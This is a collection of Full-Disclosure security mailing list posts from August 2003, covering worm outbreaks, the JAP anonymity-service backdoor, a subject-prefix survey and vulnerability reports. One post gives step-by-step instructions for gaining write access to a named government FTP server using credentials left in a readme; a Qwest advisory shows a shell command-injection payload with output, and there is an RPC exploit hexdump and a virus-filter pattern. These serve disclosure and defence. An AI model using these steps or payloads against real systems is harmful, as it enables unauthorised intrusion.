Re: [Full-Disclosure] Subject prefix changing! READ THIS! SURVEY!!

[Ben Nelson]

Option 1: scrap it

--Ben

On August 21, 11:43 am Chris Cappuccio <[EMAIL PROTECTED]> wrote:
> Hey folks,
>
> ALL LIST MEMBERS ARE ENCOURAGED TO RESPOND AND MAKE A CHOICE AS TO HOW
> THEY WANT THIS BASIC FUNCTION OF THE LIST TO CONTINUE OPERATING.
>
> The subject header is going to change.
>
> This is a survey to see whether people want:
>
> 1. To have no subject prefix, that is, we remove [Full-Disclosure]
> or
> 2. To shorten the subject prefix from [Full-Disclosure] to [FD]
> or
> 3. Do nothing
>
> 1. The first choice is preferable for me and, I would hope, for most
> folks. Len says he didn't really want it when he started the list
> anyways.  So we are actually going to change it now.
>
> 2. Choice two may be preferable for people who can only filter their
> incoming messages based on the subject prefix.  So, if you WANT there to
> continue to be a subject prefix, SPEAK UP!!!
>
> 3. Choice three sucks and if anyone wants this SPEAK UP so we know just
> how many people want this.  This is the least preferrable as it clutters
> the Subject header and makes the list harder to read through for those
> of us using a text based e-mail client.
>
> For those of you using procmail or a compatible filter, a good match
> for Full-Disclosure that relies on headers you will always see in
> list messages goes like this:
>
> :0:
> * [EMAIL PROTECTED]
> full-disclosure
>
> That matches this header:
>
> Sender: [EMAIL PROTECTED]
>
> Alternately, you can tell your Pegasus/Mozilla/Outlook/OE/Whatever
> to match on this header.
>
> --
> Nullum magnum ingenium sine mixtura dementiae fuit -- Seneca
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] US Governement War3z Server?

[Glen Freeman]

Emailed government email again again again. Problem stays after much time 
passed. So Here.

go to FTP.NPS.GOV logon as anonymous
want to escalate privileges?
download ~readme.now.txt
read file and you find a much better user name and password
log back in and you can upload whatever~~~
be nice.
_
MSN 8: Get 6 months for $9.95/month. http://join.msn.com/?page=dept/dialup
___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] IE6 Download

[Valdis . Kletnieks]

On Thu, 21 Aug 2003 23:22:54 BST, Peter Ellison <[EMAIL PROTECTED]>  said:
> Hello List.
> 
> I downloaded the patch via Windoze update for Exploder 6 this Morning. No
> problems with that 2 Min max. Took the shut down option, system reboots all
> OK. Point Browser @ my ISPs home page to check the config, the firewall
> tells me modules have changed (as expected) and I release the application,
> so far so good. It's at this stage the firewall starts to object as shown
> below.
> 
> 80.15.236.33 = AKAMAI FT UKPort 1421 = Gandalf?
> 
> Am I being paranoid or IS there something going on here.

Akamai is a large well-known company that provides (basically) net-caching for
paying customers - rather than have the content on one website, an Akamai'zed
site will direct you to the nearest Akamai cache.

We have an Akamai rack in our machine room, it's quite nice when you're surfing
along, and the website is 2 hops away, and the slow hop is 100BaseT. ;)

Incidentally, they implement it using some DNS games - the URL will have a
hostname like g42.a19.akamai.net, and if *I* query their DNS, they'll see I'm
somewhere in 128.173/16 and give me back a DNS reply that points at our Akamai
rack.. If somebody elsewhere looks it up, they'll get back a *different* reply
with a different address...

I'll bet if you traceroute from 81.152.xx.xx to 80.15.236.33, you'll find that
it's REALLY close by, network-wise.

Microsoft was basically forced into this because they're having performance
issues with windowsupdate.microsoft.com - having all 750 million Windows users
download the patch for MS03-026 through one pipe really sucks.  It must have
stuck in their craw to sign the contract, as Akamai is a Linux-oid box :)



pgp0.pgp
Description: PGP signature

Re: [Full-Disclosure] Google Private IP is 10.7.0.73 !!!!!!

[Valdis . Kletnieks]

On Fri, 22 Aug 2003 09:19:24 +1200, Bojan Zdrnja <[EMAIL PROTECTED]>  said:

> You'll also see that IP changes with time, what is obvious as they
> probably have a server farm.

Actually, they have a number of server farms (at least 6 that I know of), and they
average 15,000 really cheap rack mount boxes a farm.  Or something in that ballpark
anyhow.  Google for it, they've talked a number of times about how they make things
work (stuff like RAM actually being TCO-wise cheaper than disk because the added
speed means they need fewer servers, etc...)


pgp0.pgp
Description: PGP signature

Re: [Full-Disclosure] Idea

[Valdis . Kletnieks]

On Thu, 21 Aug 2003 11:12:06 PDT, D B <[EMAIL PROTECTED]>  said:

> install the services  get them configured
> ...remove all booting hardware except the drive 
> then change the roots shell to /bin/false and and
> remove all working shells from the OS

Hmm.. Gonna be fun the next reboot, if *anything* in /etc/rc* is still a shell
script.  In fact, I just checked - Solaris, AIX, IRIX, and RedHat Linux will
*all* fail to get even as far as single-user mode, because in /etc/inittab we
have:

Solaris:fs::sysinit:/sbin/rcS sysinit
AIX:brc::sysinit:/sbin/rc.boot 3 >/dev/console 2>&1 # Phase 3 of system boot
IRIX:   mt::sysinit:/etc/brc /dev/console 2>&1
RedHat: si::sysinit:/etc/rc.d/rc.sysinit

/sbin/rcS, /sbin/rc.boot, /etc/brc, and /etc/rc.d/rc.sysinit are all shell scripts.

Tru64 *will* make it as far single-user mode, but won't make it to runlevel 2 or 3:

Tru64:  s2:23:wait:/sbin/rc2 < /dev/console > /dev/console 2>&1

And of course, single-user mode won't be very useful without a shell for root.



pgp0.pgp
Description: PGP signature

Re: [Full-Disclosure] Subject prefix changing! READ THIS! SURVEY!!

[micah mcnelly]

len will moderate your a$$.


- Original Message -
From: "Raj Mathur" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Thursday, August 21, 2003 5:57 PM
Subject: RE: [Full-Disclosure] Subject prefix changing! READ THIS! SURVEY!!


> > "Jonathan" == Jonathan Grotegut <[EMAIL PROTECTED]> writes:
>
> Jonathan> My vote is for number two, to shorten to HD or to have
> Jonathan> nothing at all...  Are two votes allowed???
>
> Half-Disclosure?
>
> *Running before Len really sends goons to maim me this time!*
>
> --
> Raj Mathur[EMAIL PROTECTED]  http://kandalaya.org/
>GPG: 78D4 FC67 367F 40E2 0DD5  0FEF C968 D0EF CC68 D17F
>   It is the mind that moves
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] Pinging... And lots of it..

[ViLLaN]

W32.Welchia.Worm -
http://securityresponse.symantec.com/avcenter/venc/data/w32.welchia.worm
.html

-Original Message-
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] On Behalf Of Calvyn
Sent: Friday, 22 August 2003 9:33 AM
To: [EMAIL PROTECTED]
Subject: [Full-Disclosure] Pinging... And lots of it..


Hey people,

At around 3:30 today my campus lite up like a Christmas tree. I
have hundreds of computers pinging each other all over campus. Luckily
none of them are from the subnet that I administer. :) I did some
searchin but didn't read about any of the new worms using ICMP. Anyone
have any ideas? 

Thanks,
-Calvyn-

'It's all fun and games till someone pings an eye out.'


___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html



___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] HP Tandem NonStop servers

[Rick Kingslan]

I'll be watching this with keen interest.  Our Tandem 'Gurus' tell us that
the Tandem is so secure because no one really knows how they work.  Another
sad case of 'security by obscurity', or simply ignorance.

This should be fun.

-rtk

-Original Message-
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] On Behalf Of KF
Sent: Thursday, August 21, 2003 5:09 AM
To: david king
Cc: [EMAIL PROTECTED]
Subject: Re: [Full-Disclosure] HP Tandem NonStop servers

What OS do they run?

Everyone knows that all HP issues are only Potential issues thus making them
rock solid. (sarcasm).
-KF

david king wrote:
> I was told by a few that the HP tandem NonStop servers are the most 
> secure servers ?
> 
> i have got myself a box and have been tasksed to do a security review.
> 
> Does anyone have any recomdations/idea how i should go abt doing it ?
> 
> 
> --
> -- *Yahoo! Plus - For a better Internet experience* 
>  s/?http://uk.promotions.yahoo.com/yplus/btoffer.html>

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html


___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] JAP back doored

[gml]

Except the US, we have jurisdiction over the world apparently.

-Original Message-
From: [EMAIL PROTECTED]
[mailto:[EMAIL PROTECTED] On Behalf Of Drew Copley
Sent: Thursday, August 21, 2003 3:50 PM
To: [EMAIL PROTECTED]
Subject: RE: [Full-Disclosure] JAP back doored



> -Original Message-
> From: Florian Weimer [mailto:[EMAIL PROTECTED] 
> Sent: Thursday, August 21, 2003 12:23 PM
> To: Drew Copley
> Cc: [EMAIL PROTECTED]
> Subject: Re: [Full-Disclosure] JAP back doored
> 
> 
> "Drew Copley" <[EMAIL PROTECTED]> writes:
> 
> > Why is the state of Germany trojanizing applications which 
> may be run 
> > by anyone on the planet?
> 
> Why is the U.S. government interfering with the publication 
> of security advisories if the corresponding software is being 
> run throughout the world?

I haven't had any problem issuing security advisories. What is this in
reference to?

Pointing the finger elsewhere does not excuse the fact that the German
State has trojanized a popular application which was open to the world
to download. And, indeed, the world did download.

Here are some things I do not care if Germany does:

 - I don't care if they listen to their own wires
 - I don't care if they hack into their own criminals systems
 - I do not care if they use zero day to do this
 - I do not even care if they hack into criminals systems in other
countries if they have some jurisdiction in this and are working with
other authorities. For instance, if they were hacking into terrorist
networks which spanned across the world and were sharing this
information, I would not care.

A German cop has no jurisdiction over me. He has no jurisdiction over
anyone outside of Germany.

This is the same for every country.




> 
> The German government funds the AN.ON project, but allowed 
> for a great deal of independence.  Naturally, this 
> independence does not extend to the law, thanks to separation 
> of powers.  Now a judge has forced the operators to implement 
> a surveillance interface, which is possible because of a 
> design weakness.  But that's just the beginning of the legal 
> process.  The project has announced that it plans to fight, 
> but within the legal system.

This does not absolve them, nothing you can say absolves them. I realize
you have some patriotism here and are speaking from this... But, I also
know you do not want the US government to backdoor US applications from
US companies without telling you.

I know this to be true.



> 
> > How is it they believe they have a right to trojanize 
> someone outside 
> > of Germany?
> 
> Nobody forces you to use the German service if you don't 
> trust the operators or (thanks to recent events) German law 
> enforcement.

That is an empty argument not worth going into.

> 
> > This is blatantly illegal in just about every country outside of 
> > Germany.  Literally.
> 
> No, it isn't.  Most countries with communication 
> infrastructure have laws that regulate law enforcement 
> access.  This is not a "stupid local law" issue.
> 

This also is an empty argument.

Basically, you are saying if it is discovered the NSA has a backdoor in
Windows, that this is okay and no one has a right to complain, even if
they are outside of the US.

I doubt this would be your case in this situation.

I am sure many could say, "Well, this situation is different". 

No, it is not. Let's be honest here.

> Your country is eavesdropping foreign communication as well.

My country has not installed a trojan on my system, to my own knowledge,
all rumors and speculation aside.

They have not hacked into my system.

As to what wires they listen to, if they listen to their own, that is
their business. We have encyption software. If they listen to other
people's wires, that is outside of their domain, then yes, this should
be illegal. But, is it proven? Does it remove the fact that there are a
host of privacy and anonymity tools which we can use?

But, Germany has decided that people don't have a right to use these
tools. They have not tried to do even the honorable thing and break
these things - which is illegal - but they have secretly trojanized the
code.

You want me to applaud this?

Maybe your nation has just given my own nation some new ideas.

Did you help stop this trend?

> 
> > Or, do they believe they are superior to other countries, 
> and they may 
> > invade at will?
> 
> Please check the facts.  Germany doesn't an operate 
> eavesdropping base in the U.S., but the U.S. do in Germany.

I won't even go into that. I do not know what they do there, but their
rights have been worked out with the German government. If you have an
issue with that, you need to take that up with their government. 

If my government allowed German police to trojanize an application I ran
and my government covered this up... I would be furious at my government
first, and at Germany second.

But, none of this is dealing with the matter at hand. These arguments
are all a distraction.

I have

RE: [fd] Re: [Full-Disclosure] Google Private IP is 10.7.0.73 !!!!!!

[Andre Ludwig]

Its all a part of googles plans to gobble up all the Ips in the w0rld!!!

WITH OUT OUR 1PZ W3 W1LL N0 L0NG3R H4V3 TH3 INT4W3B!


OH NOEZ W3 H4V3 b33n H4X0RZ3D!!!

Th3Y H4v3 ST0L3N 0UR M3G4HURTZ


Sorry im bored at work again :)

Andre Ludwig


-Original Message-
From: Mike V [mailto:[EMAIL PROTECTED]
Sent: Thursday, August 21, 2003 4:34 PM
To: [EMAIL PROTECTED]
Subject: Re: [fd] Re: [Full-Disclosure] Google Private IP is 10.7.0.73
!!


- Original Message - 
From: "Servicios de Seguridad Informatica" <[EMAIL PROTECTED]>


El Jue 21 Ago 2003 16:23, Nicolas Cartron escribió:
> > I have found private ip address used by google servers. here are the
> > details.
> > [...]
> > This 10.7.0.73 is google private ip address.

>has anyone know how this site know my private address?



Google has apparently hacked your network, and stolen your own private IP
address. SCANDALOUS!
I'd hire a good lawyer.  Maybe if you're *real* lucky you can get it back.
IP theft!  I hear it's the next big thing.


___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] quit the dumd chat man!!

[Schmehl, Paul L]

-Original Message-
From: Ferris, Robin [mailto:[EMAIL PROTECTED] 
Sent: Thursday, August 21, 2003 11:08 AM
To: [EMAIL PROTECTED]
Subject: [Full-Disclosure] quit the dumd chat man!!


>we had a honey pot hit by some canny FTP kiddies using the RPC flaw
>to load up an FTP server that ran as a service and also then execute 
>a predifned further attack on some specific IP's any one else seen 
>this. very similar exploit to nachia "whatever its called" worm

This has been going on for at least a week now.

Paul Schmehl ([EMAIL PROTECTED])
Adjunct Information Security Officer
The University of Texas at Dallas
AVIEN Founding Member
http://www.utdallas.edu/~pauls/ 

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] New usages of the RPC exploit (was: quit the dumd chat man!!)

[Michael Mueller]

Hi Robin,

you wrote:
> We had a honey pot hit by some canny FTP kiddies using the RPC flaw to load
> up an FTP server that ran as a service and also then execute a predifned
> further attack on some specific IP's any one else seen this. very similar
> exploit to nachia "whatever its called" worm

Got something new here too. It used a passworded FTP account leading
into the root directory of a Windows machine and tried to download a
winupdate.exe there. Does not look like another worm, more like a manned
attack, since the exploit did not come from the FTP server, but some
slovakian university. It used the open port  of the machine for the
command connection as the Blaster worm did. Sending the commands was
tried twice since my machine only accepts the commands but does not
perform them. 

My virus scanner (Kaspersky Anti-Virus) does tell me:
winupdate.exe archive: Astrum
winupdate.exe/data0001 infected: Trojan.BAT.Passer.a
winupdate.exe/data0002 infected: Worm.Win32.Randon.r
winupdate.exe/data0004 packed: UPX
winupdate.exe/data0006 infected: Worm.Win32.Randon.q
winupdate.exe/data0007 packed: UPX
winupdate.exe/data0008 packed: UPX
winupdate.exe/data0008 infected: Trojan.PSW.VB.aq
winupdate.exe/data0009 packed: UPX
winupdate.exe/data0011 packed: UPX
winupdate.exe/data0012 infected: Backdoor.IRC.Zcrew
winupdate.exe/data0013 packed: UPX
winupdate.exe/data0016 packed: UPX
winupdate.exe/data0016 infected: Trojan.Win32.Killav.aj
winupdate.exe/data0020 packed: UPX

The exploit code shows only a minor change from the blaster worm in the
RPC request:

--- exploit0186.dmp Fri Aug 22 02:24:49 2003
+++ exploit0595.dmp Fri Aug 22 02:24:30 2003
@@ -57,7 +57,7 @@
 3a0     0186   
 3b0 0186  005c 005c 0046 0058 004e 0042
 3c0 0046 0058 0046 0058 004e 0042 0046 0058
-3d0 0046 0058 0046 0058 0046 0058 139d 0100
+3d0 0046 0058 0046 0058 0046 0058 16c6 0100
 3e0 e0cc 7ffd e0cc 7ffd 9090 9090 9090 9090
 3f0 9090 9090 9090 9090 9090 9090 9090 9090
 *


Michael

-- 
[EMAIL PROTECTED]
http://www-users.rwth-aachen.de/Michael.Mueller4/tekxp/tekxp.html

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] Command Injection Vulnerability in stat.qwest.net

[Dan Daggett]

[Vulnerable Site]

http://stat.qwest.net


[Site Purpose]  

Site can be used by network administrators and engineers to test network
connectivity, view Qwest's backbones, and test latency across Qwest's
network.


[Vulnerable Page]

http://stat.qwest.net/cgi-bin/jlg-new.pl

This page can be accessed through
http://stat.qwest.net/looking_glass.html


[Page Purpose]

Run ping and traceroute from various routers/computers in many locations
across Qwest's network, including North America and Asia.


[Command Injection]

While running a ping on a site that wasn't up, the error message made me
realize that the perl script was shelling out a command to a remote
system and tacking my input into it.  

For example in the dropdown box pick any router and select ping or
traceroute.  In this case I selected ping.  Type in a nonexistent site
such as nositehere.nope.  Here is what was returned in the page.

/usr/sbin/ping: unknown host nositehere.nope

My next thought was whether or not proper checking had been done to
avoid escaping the command and running my own code.  This time I used a
semicolon to add my own commands on to the end: nositehere.nope;id;uname
-a;  I put the ending semicolon on in case there was additional
parameters added to the ping command.  Here is the result.

Pinging nositehere.nope;id; from atl-engr-01.inet.qwest.net

uid=60001(nobody) gid=60001(nobody)


[Problem Fix]

The vulnerability here lies in the fact that unfiltered user input is
passed by the Perl script directly to the command line.  Something as
simple as verifying that only certain characters will be passed to the
command prompt would prevent this.

For example this would drop any characters that were not alphanumberic,
dash, underscore, and a period.

$user_input  =~ s/[^A-Za-z0-9_-.]//g;


[Vendor Contact]

Sent email to [EMAIL PROTECTED] on August 19th.

Problem fixed August 21, 2003


[Contact Info]

Report can be viewed online
http://www.socialgeeks.com/advisories/qwest_aug_21_2003.php

Submitted to list on August 21, 2003 by Dan Daggett

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] Re: Popular Net anonymity service back-doored

[Barney Wolff]

On Thu, Aug 21, 2003 at 02:41:33PM -0700, Aron Nimzovitch wrote:
> 
> Only a fool would blindly depend on someone else's software to gain
> anonymity without examining the code.  If you need anonymity, then you
> should easily be willing to invest sweat equity, or have a contractual
> arrangement when the threat is only financial.  For more serious
> threats requiring anonymity, not reviewing the source when it is
> available seems beyond stupid.  I could unserstand your ire if you
> were one of our clients, but this was a free service wasn't it?

Examination of the code is all very well, but what assurance did you
ever have that the source code released was identical to what was
actually running on the server?  Or that their compiler or libraries
hadn't been trojaned?

-- 
Barney Wolff http://www.databus.com/bwresume.pdf
I'm available by contract or FT, in the NYC metro area or via the 'Net.

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] Re: Filtering sobig with postfix

[Paul Szabo]

> ... use:
> 
> /^TVqQAAME\/\/8AALgAQAAA
> $/
>DISCARD Keep your viruses (sobig.f)
> 
> Shamelessly stolen from:
> http://sbserv.stahl.bau.tu-bs.de/~hildeb/postfix/postfix_sobigf.shtml

That discards most (but not all!) executables. Discarding all might be a
good thing; beware of those you let through.

Cheers,

Paul Szabo - [EMAIL PROTECTED]  http://www.maths.usyd.edu.au:8000/u/psz/
School of Mathematics and Statistics  University of Sydney   2006  Australia

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] Re: Full-Disclosure digest, Vol 1 #1052 - 29 msgs

[Joel R. Helgeson]

#2
- Original Message - 
From: "Arthur Corliss" <[EMAIL PROTECTED]>
To: <[EMAIL PROTECTED]>
Sent: Thursday, August 21, 2003 3:11 PM
Subject: [Full-Disclosure] Re: Full-Disclosure digest, Vol 1 #1052 - 29 msgs


> > Date: Thu, 21 Aug 2003 10:43:02 -0700
> > From: Chris Cappuccio <[EMAIL PROTECTED]>
> > To: [EMAIL PROTECTED]
> > Subject: [Full-Disclosure] Subject prefix changing! READ THIS! SURVEY!!
> >
> > Hey folks,
> >
> > ALL LIST MEMBERS ARE ENCOURAGED TO RESPOND AND MAKE A CHOICE AS TO HOW
> > THEY WANT THIS BASIC FUNCTION OF THE LIST TO CONTINUE OPERATING.
> >
> > The subject header is going to change.
> >
> > This is a survey to see whether people want:
> >
> > 1. To have no subject prefix, that is, we remove [Full-Disclosure]
> > or
> > 2. To shorten the subject prefix from [Full-Disclosure] to [FD]
> > or
> > 3. Do nothing
> >
> > 1. The first choice is preferable for me and, I would hope, for most
folks.
> > Len says he didn't really want it when he started the list anyways.  So
we are
> > actually going to change it now.
> >
> > 2. Choice two may be preferable for people who can only filter their
incoming
> > messages based on the subject prefix.  So, if you WANT there to continue
> > to be a subject prefix, SPEAK UP!!!
> >
> > 3. Choice three sucks and if anyone wants this SPEAK UP so we know just
> > how many people want this.  This is the least preferrable as it clutters
> > the Subject header and makes the list harder to read through for those
of us
> > using a text based e-mail client.
>
> For what it's worth, I vote for #3.  I don't really pay that close
attention
> to sender address, and having the prefix in the subject makes it really
easy
> to identify list mail for direct correspondence.  I suppose I could live
with
> #2 if I had to.
>
> --Arthur Corliss
>   Bolverk's Lair -- http://arthur.corlissfamily.org/
>   Digital Mages -- http://www.digitalmages.com/
>   "Live Free or Die, the Only Way to Live" -- NH State Motto
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] RE: Popular Net anonymity service back-doored

[David Schwartz]

> Only a fool would blindly depend on someone else's software to gain
> anonymity without examining the code.  If you need anonymity, then you
> should easily be willing to invest sweat equity, or have a contractual
> arrangement when the threat is only financial.  For more serious
> threats requiring anonymity, not reviewing the source when it is
> available seems beyond stupid.

I'm 100% with you up to now.

> I could unserstand your ire if you
> were one of our clients, but this was a free service wasn't it?

But now you're teetering on insanity. I get a ride home from a pub, but the
driver instead of taking me home takes me to a dark alley and beats me to a
pulp. My ire at the betrayal of trust should be based upon whether and how
much I paid the driver?!

If you think purchased business loyalty is more reliable, and provokes a
more painful betrayal, than loyalty freely offered out of principled
devotion to a common cause, you're not in touch with the same reality I am.
This is a case of betrayal among people who thought they were engaged in a
common cause of principle.

DS


___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] All Caps means it's important, right? (was Re: {mumble} READ THIS!SURVEY!!)

[Etaoin Shrdlu]

Chris Cappuccio wrote:

> John Cartwright [EMAIL PROTECTED] wrote:
> > oN tHU, Aug 21, 2003 at 10:43:02AM -0700, Chris Cappuccio wrote:
> > > ALL LIST MEMBERS ARE ENCOURAGED TO RESPOND AND MAKE A CHOICE AS TO HOW
> > > THEY WANT THIS BASIC FUNCTION OF THE LIST TO CONTINUE OPERATING.

> > This has been covered several times... and we certainly *don't*
> > want this mail coming to the list. Feel free to mail myself or
> > Len on the subject. Discussions about subject line prefixes are
> > off-topic for a security list.

Yes, and I agree with you, and am still going to comment publicly. I've
realized that Chris collecting comments off-line leads to many problems,
among them basic distrust that the off-line comments won't be skewed toward
Chris' preference. Please note: I am NOT saying that I think this, but I AM
saying that it could be misconstrued.

> > > The subject header is going to change.
> >
> > Speaking as a maintainer of this list, I can assure you that this
> > is currently not the case :)

> Len said there needed to be a consensus on the list before he would make
> a change, but that it would be nice to change!

Pity I saw this before I saw John's email to the list, since I thought it
must mean it wasn't on the list (sorry, John). I'd vote first for choice 3.
If it ain't broke...

The number of posters to this list that CC other mailing lists seems to
grow daily, and we all know that we'll get multiple copies of same,
depending on how braindead the MTA of the other lists is. At least, with
the header, it's obvious where it came from. All too often I see follow-ups
to email here, where it appears first, and is cross posted again, and it's
so nice to realize that the conversation taking place in bugtraq or
wherever can be safely ignored, since I shall find it replicated in FD,
which will be more complete and timely in any case.

If you absolutely feel you must (and the "you" here implies John and Len),
change it to FD, or even FUD, but I'd really like to see it stay the same.
Please.

--
In April 1951, Galaxy published C.M. Kornbluth's "The Marching Morons".
The intervening years have proven Kornbluth right.
   --Valdis Kletnieks

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] Google Private IP is 10.7.0.73 !!!!!!

[conde0]

I think that when I published this 

http://www.securityfocus.com/archive/1/317240/2003-04-13/2003-04-19/0

if you used java.net.InetAddress.getLocalHost() , the value returned 
was the public address unless you were behind a nat device , in
that case it returns the private address . You can test it here

http://nautopia.coolfreepages.com/vulnerabilidades/opera_java_js.htm

I don't know if showmyip uses this method , just a possibility


Regards ,

-- 

David F. Madrid ,
Madrid , Spain

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] Re: Popular Net anonymity service back-doored

[Alex Russell]

On Thursday 21 August 2003 07:05, Thomas C. Greene  wrote:
> I agree that the dirty work has to be done on the proxy, but it's
> reasonable to imagine that the client update was issued to maintain
> compatibility with whatever was done to the proxy software. Maybe the two
> are unrelated as the group says, but how can I trust them when they
> continue to soft-pedal the security implications of the back door?
>
> Yes, the code sort of shouts at you, and this may well be a deliberate
> heads up.  However, the group is still in denial, insisting that their
> service is secure (see the press release linked in the Register story).

For them, the people that know the changes they made, they can still trust the 
system as much as they ever have. I have no doubt that for them it is as 
secure as ever and I think that helps explain why they cling to this claim. 
You and I, however, don't have that advantage and therefore can't trust it.

> It's not secure, and claiming that it is taints anything else they may be
> doing on behalf of users. They're *still* saying it's impossible for anyone
> to intercept users' traffic or identify them. That simply isn't true.

To the extent that you ever trusted this statement, it is still as true as it 
ever was. What has changed is more likely your realization that the system 
relies on resources necessarialy beyond your control and inspection. If their 
statement isn't true now, it wasn't true then.

> It's likely were legally prevented from issuing a clear warning, which is
> why I say they should have taken the service down in protest.  I don't know
> German law, but I'd be surprised if the courts can force you to provide a
> communications service just so the Feds can use it.

I wouldn't be so suprised at such a ruling, although I'd really like to hear 
from someone with familiarity with German law.

> Leaving a hint in the source and waiting for someone to call them on it may
> be a legal strategem, but it's not a good way of maintaining user trust. 
> It took too long for this to become public.  A better way to maintain trust
> would be to stage a protest shutdown, or, if that's legally risky, a silent
> shutdown and a subsequent leak to the press.  No decent reporter would
> reveal their source in a case like this, and approaching a journo based in
> another country would add another layer of protection.

If this is their proverbial cry for attention, then I kind of like the 
strategy. Consider that with explicit external notification of any sort 
(anonymous remailer, etc...), they are the ones taking action to subvert the 
system intentionally. Assuming that the opponent in this situation is a 
governmental entity with local physical enforcement power, then there's not a 
lot of situations in which they can imagine being verifiably unobserved in 
making any kind of public statement. Putting this in a CVS commit, however, 
allows them to claim that they were just trying to comply (wink wink) and 
doesn't run larger risks since there's nothing out of the ordinary to deny.

This doesn't mean I trust them, but it is probably one of the better ways for 
them to subvert the order IMO.

Regards.

-- 
Alex Russell
[EMAIL PROTECTED]
[EMAIL PROTECTED]

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

RE: [Full-Disclosure] Subject prefix changing! READ THIS! SURVEY!!

[Raj Mathur]

> "Jonathan" == Jonathan Grotegut <[EMAIL PROTECTED]> writes:

Jonathan> My vote is for number two, to shorten to HD or to have
Jonathan> nothing at all...  Are two votes allowed???

Half-Disclosure?

*Running before Len really sends goons to maim me this time!*

-- 
Raj Mathur[EMAIL PROTECTED]  http://kandalaya.org/
   GPG: 78D4 FC67 367F 40E2 0DD5  0FEF C968 D0EF CC68 D17F
  It is the mind that moves

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

[Full-Disclosure] RE: JAP back doored

[Vincent Penquerc'h]

> "CAMsg::printMsg(LOG_INFO,"Loading Crime Detection Data\n");"
> "CAMsg::printMsg(LOG_CRIT,"Crime detected - ID: %u - Content:
> \n%s\n",id,crimeBuff,payLen);"

Well, people say the JAP team hid it, but with that (assuming the
strings appeared verbatim in the binary), they made sure someone
would spot it. They essentially made sure the users would be warned
about it while keeping plausible deniability.

-- 
Vincent Penquerc'h 

___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] Pinging... And lots of it..

[Paul Schmehl]

--On Thursday, August 21, 2003 19:33:06 -0400 Calvyn <[EMAIL PROTECTED]> 
wrote:

Hey people,

At around 3:30 today my campus lite up like a Christmas tree. I
have hundreds of computers pinging each other all over campus. Luckily
none of them are from the subnet that I administer. :) I did some
searchin but didn't read about any of the new worms using ICMP. Anyone
have any ideas?
You've got Nachi.  The third variant of the RPC DCOM worm.  See any AV 
vendor's webpage for details, but you've got fun ahead of you for sure.

Paul Schmehl ([EMAIL PROTECTED])
Adjunct Information Security Officer
The University of Texas at Dallas
AVIEN Founding Member
http://www.utdallas.edu
___
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

Re: [Full-Disclosure] Win32 Device Drivers Communication Vulnerabilities + PoC for Symantec Norton AntiVirus '2002 (probably all versions) Device Driver

[Spiro Trikaliotis]

Hello,

On Fri, Aug 02, 2002 at 10:39:44AM +0200, [SEC-LABS TEAM]: wrote:
> 
> The Sec-Labs security research group found a bug in Win32 Device Drivers 
> Communication,  the white-paper for this vulnerability can
> be viewed at http://sec-labs.hack.pl  , the exploit code for Symantec Norton 
> AntiVirus '2002 (probably all versions) Device Driver  is also stored at our 
> homepage. 
> Enjoy.

from the posting at the Full-Disclosure Mailing list, I found the article on
http://sec-labs.hack.pl/papers/win32ddc.php.

In this article, you write:

   "As far as I know, Windows system is not checking if the memory location
   (agruments/memory pointers) is valid, and it isn't a windows vulerability?
- give me a break!"

For this, I want to comment the following:

Each IRP on NT/2K/XP has a method argument, that is, the last 3 bits
indicate which access method is used.

The DDK defines the following types (see devioctl.h):

#define METHOD_BUFFERED 0
#define METHOD_IN_DIRECT1
#define METHOD_OUT_DIRECT   2
#define METHOD_NEITHER  3

The IRP you used for this proof of concept (222A87h) obviously has 
METHOD_NEITHER. The DDK clearly states what these methods mean:
(Windows DDK/Kernel-Mode Driver Architecture/Reference/System-Defined I/O
Function Codes/IRP Function Codes and IOCTRL/Defining I/O Control Codes):

  "METHOD_BUFFERED, if the driver transfers small amounts of data for the
  request 
  With this method, IRPs containing the I/O control code will supply a pointer
  to the buffer into which or from which to transfer data at
  Irp->AssociatedIrp.SystemBuffer. Most I/O control codes for device and
